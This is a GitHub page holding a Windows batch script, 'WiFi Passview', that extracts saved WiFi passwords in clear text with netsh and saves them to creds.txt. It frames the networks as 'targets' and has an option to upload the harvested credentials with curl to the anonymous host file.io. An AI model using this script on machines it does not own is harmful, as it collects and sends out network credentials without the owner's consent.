-
-
Notifications
You must be signed in to change notification settings - Fork 71
/
wifi-passview-v5.0.0-sohee.bat
689 lines (660 loc) · 17.8 KB
/
wifi-passview-v5.0.0-sohee.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
REM =============================
REM WiFi Passview - https://github.com/WarenGonzaga/wrn-passview
REM An open source batch script based program that can recover your WiFi Password easily in seconds.
REM Version: 5.0.0 [Sohee]
REM Github: https://github.com/WarenGonzaga/wrn-passview
REM Licensed Under The MIT License: http://opensource.org/licenses/MIT
REM Copyright (c) 2024 Waren Gonzaga
REM
REM Facebook: @warengonzagaofficial
REM Twitter: @warengonzaga
REM Github: @warengonzaga
REM Website: warengonzaga.com
REM
REM Donate or Support!
REM https://buymeacoff.ee/warengonzaga
REM =============================
cls
@echo off
REM =============================
REM Setup Variables
REM =============================
set appname=WiFi Passview
set appvers=v5.0.0
set appstat=Sohee
set dev=Waren Gonzaga
set desc=An open source batch script based program that can recover your WiFi Password easily in seconds.
set uicolor=a
set infouicolor=b
set erruicolor=c
set cliN=$%appname%
set divider======================================
set tempdivider=================================================
rem =============================
rem Main Menu
rem =============================
:mainMenu
del null
cls
title %appname% %appvers% - %appstat% [Main Menu]
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
color %uicolor%
echo # %desc%
echo # %divider%
echo #
echo # Automated (Default) ....... [1]
echo # Manual .................... [2]
echo # Donate .................... [3]
echo # Credits ................... [4]
echo # Options ................... [5]
echo # Exit ...................... [6]
echo #
set /p "mainMenu=# $WiFiPassview> " || set mainMenu=1
if %mainMenu%==1 goto autoMode
if %mainMenu%==2 goto manualMode
if %mainMenu%==3 goto donate
if %mainMenu%==4 goto credits
if %mainMenu%==5 goto options
if %mainMenu%==6 goto exitProgram
goto fail4
pause>null
rem =============================
rem Automated Mode
rem =============================
:autoMode
cls
title %appname% %appvers% - %appstat% [Automated Mode]
color %uicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo #
echo # Automated mode will extract all the available SSID in this machine.
echo # Press any key to continue... (except power button lol)
pause>null
cls
title %appname% %appvers% - %appstat% [Automated Mode]
color %uicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # Checking for wireless interface...
netsh wlan show profiles | findstr /R /C:"[ ]:[ ]"
if %errorlevel%==1 goto fail3
cls
title %appname% %appvers% - %appstat% [Automated Mode]
color %uicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # Checking for wireless interface...
netsh wlan show profiles | findstr /R /C:"[ ]:[ ]" > temp.txt
echo # Available SSID in this Machine
type temp.txt
echo # %divider%
echo # Creating helper file...
echo @echo off >> helper.bat
echo setlocal enabledelayedexpansion >> helper.bat
echo for /f "tokens=5*" %%%%i in (temp.txt) do ( set val=%%%%i %%%%j >> helper.bat
echo if "!val:~-1!" == " " set val=!val:~0,-1! >> helper.bat
echo echo !val! ^>^> final.txt) >> helper.bat
echo for /f "tokens=*" %%%%i in (final.txt) do @echo SSID: %%%%i ^>^> creds.txt ^& echo # %tempdivider% ^>^> creds.txt ^& netsh wlan show profiles name=%%%%i key=clear ^| findstr /N /R /C:"[ ]:[ ]" ^| findstr 33 ^>^> creds.txt ^& echo # %tempdivider% ^>^> creds.txt ^& echo # Key content is the password of your target SSID. ^>^> creds.txt ^& echo # %tempdivider% ^>^> creds.txt >> helper.bat
echo del /q temp.txt final.txt >> helper.bat
echo exit >> helper.bat
echo # Done...
echo # Extracting passwords and saving it...
ping localhost -n 3 >NUL
start helper.bat
echo # Done...
echo # Deleting temporary files...
ping localhost -n 3 >NUL
del /q helper.bat
echo # Done...
del null
ping localhost -n 2 >NUL
cls
title %appname% %appvers% - %appstat% [Automated Mode]
color %uicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo #
echo # WiFi credentials has been saved to "creds.txt", Press any key to continue... (except power button lol)
pause>null
goto mainMenu
rem =============================
rem Manual Mode
rem =============================
:manualMode
cls
title %appname% %appvers% - %appstat% [Manual Mode]
color %uicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # Ready to scan available wifi profiles in this machine?
echo #
echo # Yes, continue ............. [1]
echo # Back to Main Menu ..........[2]
echo #
set /p "confirmScan=# $WiFiPassview> " || set confirmScan=2
if %confirmScan%==1 goto manualConfirm
if %confirmScan%==2 goto mainMenu
goto fail4
pause>null
rem =============================
rem Manual Mode: Confirm Scan
rem =============================
:manualConfirm
netsh wlan show profiles | findstr /R /C:"[ ]:[ ]"
if %errorlevel%==1 goto fail3
goto mainualContinue
rem =============================
rem Manual Mode: Continue
rem =============================
:mainualContinue
cls
title %appname% %appvers% - %appstat% [Manual Mode]
color %uicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # THE FOLLOWING WIFI PROFILES BELOW ARE HACKABLE
echo # %divider%
netsh wlan show profiles
echo # %divider%
echo # Please enter the SSID of target WiFi
echo # (e.g. WIFI-NAME or if contains spaces do "WIFI NAME")
echo # Type "cancel" or hit enter to go back (default)
echo #
set /p "ssidname=# $WiFiPassview> " || set ssidname=cancel
if %ssidname%==cancel goto mainMenu
cls
netsh wlan show profiles name=%ssidname%
if %errorlevel%==1 goto fail1
cls
color %infouicolor%
echo # %tempdivider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %tempdivider%
echo # SSID: %ssidname%
echo # %tempdivider%
netsh wlan show profiles name=%ssidname% key=clear | findstr /N /R /C:"[ ]:[ ]" | findstr 33 > temp.txt
type temp.txt
echo # %tempdivider%
echo # Key content is the password of your target SSID.
echo # %tempdivider%
echo #
echo # Save to creds.txt .................................. [1]
echo # Ignore and back to Main Menu (default) ............. [2]
echo #
echo # Note: If you hit enter or enter an invalid value the extracted password will not be saved.
echo #
set /p "manualMode=# $WiFiPassview> " || set manualMode=2
if %manualMode%==1 goto manualSave
if %manualMode%==2 goto manualDel
goto fail4
pause>null
rem =============================
rem Manual: Save
rem =============================
:manualSave
del null
cls
title %appname% %appvers% - %appstat%
echo # SSID: %ssidname% >> creds.txt
echo # %tempdivider% >> creds.txt
netsh wlan show profiles name=%ssidname% key=clear | findstr /N /R /C:"[ ]:[ ]" | findstr 33 >> creds.txt
echo # %tempdivider% >> creds.txt
echo # Key content is the password of your target SSID. >> creds.txt
echo # %tempdivider% >> creds.txt
del temp.txt null
cls
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
color %uicolor%
echo # %desc%
echo # %divider%
echo #
echo # WiFi credentials has been saved to "creds.txt", Press any key to open it in the file explorer...
pause>null
del null
start explorer %cd%
goto mainMenu
rem =============================
rem Manual: Delete
rem =============================
:manualDel
del null
cls
title %appname% %appvers% - %appstat%
del temp.txt null
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
color %uicolor%
echo # %desc%
echo # %divider%
echo #
echo # Extracted password has been deleted! Press any key to continue... (except power button lol)
pause>null
del null
goto mainMenu
rem =============================
rem Donate
rem =============================
:donate
del null
cls
title %appname% %appvers% - %appstat% [Donate]
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
color %uicolor%
echo # Donate and Support
echo # %divider%
echo #
echo # Do you like this tool?
echo # Please consider to buy me a coffee or
echo # just donate to keep this project alive.
echo #
echo # Buy Me A Coffee ....... [1]
echo # GitHub Sponsors ....... [2]
echo # Back to Main Menu ..... [3]
echo #
set /p "donate=# $WiFiPassview> " || set donate=3
if %donate%==1 goto buymeacoffee
if %donate%==2 goto sponsors
if %donate%==3 goto mainMenu
goto fail4
pause>null
rem =============================
rem Donate: BMC
rem =============================
:buymeacoffee
start https://buymeacoff.ee/warengonzaga
goto donate
rem =============================
rem Donate: GitHub Sponsors
rem =============================
:paypal
start https://github.com/sponsors/warengonzaga
goto donate
rem =============================
rem Credits
rem =============================
:credits
del null
cls
title %appname% %appvers% - %appstat% [Credits]
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
color %uicolor%
echo #
echo # This project is originally developed by Waren Gonzaga
echo # Version name Bella is a real name from Bella of Elris
echo # Elris is a popular KPOP Girl Group... (my bias lol)
echo #
echo # %divider%
echo #
echo # Press any key to continue... (except power button lol)
pause>null
goto mainMenu
rem =============================
rem Options
rem =============================
:options
del null
cls
title %appname% %appvers% - %appstat% [Options]
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
color %uicolor%
echo #
echo # Delete "creds.txt" ......................... [1]
echo # Locate "creds.txt" ......................... [2]
echo # Open "creds.txt" in Notepad ................ [3]
echo # Upload "creds.txt" to Anonymous Cloud ...... [4]
echo # Generate WLAN Report ....................... [5]
echo # Elris? Here I Am ........................... [6]
echo # Back to Main Menu .......................... [7]
echo #
set /p "options= # $WiFiPassview> " || set options=5
if %options%==1 goto deleteCreds
if %options%==2 goto locateCreds
if %options%==3 goto notepadCreds
if %options%==4 goto uploadCreds
if %options%==5 goto wlanreport
if %options%==6 goto elris
if %options%==7 goto mainMenu
goto fail4
pause>null
rem =============================
rem Options: Delete Creds
rem =============================
:deleteCreds
del null
type creds.txt
if %errorlevel%==1 goto fail2
cls
title %appname% %appvers% - %appstat%
del /q creds.txt
cls
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
color %uicolor%
echo # %desc%
echo # %divider%
echo #
echo # The "creds.txt" has been deleted! Press any key to continue... (except power button lol)
pause>null
goto options
rem =============================
rem Options: Locate Creds
rem =============================
:locateCreds
del null
cls
type creds.txt
if %errorlevel%==1 goto fail2
start explorer %cd%
goto options
rem =============================
rem Options: Open Creds in Notepad
rem =============================
:notepadCreds
del null
cls
type creds.txt
if %errorlevel%==1 goto fail2
start notepad creds.txt
goto options
rem =============================
rem Options: Upload Creds to Anonymous Cloud
rem =============================
:uploadCreds
del null
type creds.txt
if %errorlevel%==1 goto fail2
cls
title %appname% %appvers% - %appstat% [Upload Collected Creds]
color %infouicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # [Upload Creds to Anonymous Cloud]
echo #
echo # This feature will upload "creds.txt" to Anonymous Cloud powered by file.io
echo # Your anonymous upload will be available for 14 days only.
echo #
echo # Continue Upload ....... [1]
echo # Back to Options ....... [2]
echo #
set /p "uploadCreds= # $WiFiPassview> " || set uploadCreds=2
if %uploadCreds%==1 goto continueUpload
if %uploadCreds%==2 goto options
goto fail5
pause>null
rem =============================
rem Upload Creds to Anonymous Cloud: Continue Upload
rem =============================
:continueUpload
del null
type creds.txt
if %errorlevel%==1 goto fail2
cls
title %appname% %appvers% - %appstat% [Uploading Creds to Cloud]
color %uicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # Uploading...
curl -F "[email protected]" https://file.io > logs.txt
cls
title %appname% %appvers% - %appstat% [Uploading Creds to Cloud]
color %uicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # Uploaded!
echo # Generating link...
set /p url=<logs.txt
del logs.txt
echo # Got it!
echo # Here's your shortlink...
echo # %divider%
echo #
echo # Key: %url:~23,8% [Remember]
echo # Link: %url:~41,24%
echo #
echo # %divider%
echo #
echo # Open it to browser?
echo # Yes ....... [1]
echo # No ........ [2]
echo #
set /p "browseCreds= # $WiFiPassview> " || set browseCreds=2
if %browseCreds%==1 goto browsedCreds
if %browseCreds%==2 goto options
pause>null
rem =============================
rem Upload Creds to Anonymous Cloud: Browse Creds
rem =============================
:browsedCreds
start %url:~41,24%
goto options
rem =============================
rem Options: Generate WLAN Report
rem =============================
:wlanreport
del null
cls
title %appname% %appvers% - %appstat% [Generate WLAN Report]
color %infouicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # [Generate WLAN Report]
echo #
echo # This feature will execute a command to generate WLAN Report for this machine.
echo #
echo # Note: This feature requires an administrative permissions to proceed.
echo # Close this program and run it as administrator to be able to work!
echo # %divider%
echo #
echo # Press any key to continue... (except power button lol)
pause>null
goto wlanreportAdmin
rem =============================
rem Generate WLAN Report: Check Admin
rem =============================
:wlanreportAdmin
del null
cls
@echo off
title %appname% %appvers% - %appstat% [Generate WLAN Report]
color %uicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # Administrative permissions required. Detecting permissions...
ping localhost -n 2 >NUL
net session >nul 2>&1
if %errorLevel% == 0 (
echo # Administrator privileges found!
echo # Starting WLAN Reporting...
ping localhost -n 2 >NUL
goto wlanreportCreate
) else (
cls
color %erruicolor%
title %appname% %appvers% - %appstat% [Generate WLAN Report]
color %erruicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # ERROR ERROR ERROR [FAIL]
echo #
echo # WLAN reporting will not work!
echo # Close this program and run it as administrator and try again.
echo # %divider%
echo #
echo # Press any key to continue...
pause>null
goto options
)
rem =============================
rem Generate WLAN Report: Create
rem =============================
:wlanreportCreate
del null
cls
title %appname% %appvers% - %appstat% [Generate WLAN Report]
color %uicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
netsh wlan show wlanreport
echo # %divider%
echo #
echo # Press any key to continue...
pause>null
start C:\ProgramData\Microsoft\Windows\WlanReport\wlan-report-latest.html
goto options
rem =============================
rem Options: Elris
rem =============================
:elris
rem stan elris hahaha
start https://www.youtube.com/watch?v=tpLro7n3PWo
goto options
rem =============================
rem Manual: Fail Message (SSID)
rem =============================
:fail1
del null
cls
title %appname% %appvers% - %appstat% [Error]
color %erruicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # ERROR ERROR ERROR (FAIL)
echo # The WiFi profile name or the SSID doesn't exist!!!
echo # Make sure you enter the correct and exact one!
echo # Please try again or contact the developer for support...
echo # %divider%
echo #
echo # Press any key to continue... (except power button lol)
pause>null
goto mainMenu
rem =============================
rem Options: Fail Message (creds.txt)
rem =============================
:fail2
del null
cls
title %appname% %appvers% - %appstat% [Error]
color %erruicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # ERROR ERROR ERROR (FAIL)
echo # The file "creds.txt" does not exist!
echo # Run automated mode or manual mode first and save extracted passwords in "creds.txt" file.
echo # Please try again or contact the developer for support...
echo # %divider%
echo #
echo # Press any key to continue... (except power button lol)
pause>null
goto options
rem =============================
rem Manual: Fail Message (Wireless Interface)
rem =============================
:fail3
del null
cls
title %appname% %appvers% - %appstat% [Error]
color %erruicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # ERROR ERROR ERROR (FAIL)
echo # No Wireless Interface Detected!!!
echo # %divider%
echo #
echo # Press any key to continue... (except power button lol)
pause>null
goto mainMenu
rem =============================
rem Program Error
rem =============================
:fail4
del null
cls
title %appname% %appvers% - %appstat% [Error]
color %erruicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # Invalid option! Please try again...
echo # %divider%
echo #
echo # Press any key to continue... (except power button lol)
pause>null
goto mainMenu
rem =============================
rem Program Error
rem =============================
:fail5
del null
cls
title %appname% %appvers% - %appstat% [Error]
color %erruicolor%
echo # %divider%
echo # %appname% %appvers% - %appstat%
echo # by %dev%
echo # %divider%
echo # Invalid option! Please try again...
echo # %divider%
echo #
echo # Press any key to continue... (except power button lol)
pause>null
goto options
rem =============================
rem Exit Option Function
rem =============================
:exitProgram
del null
exit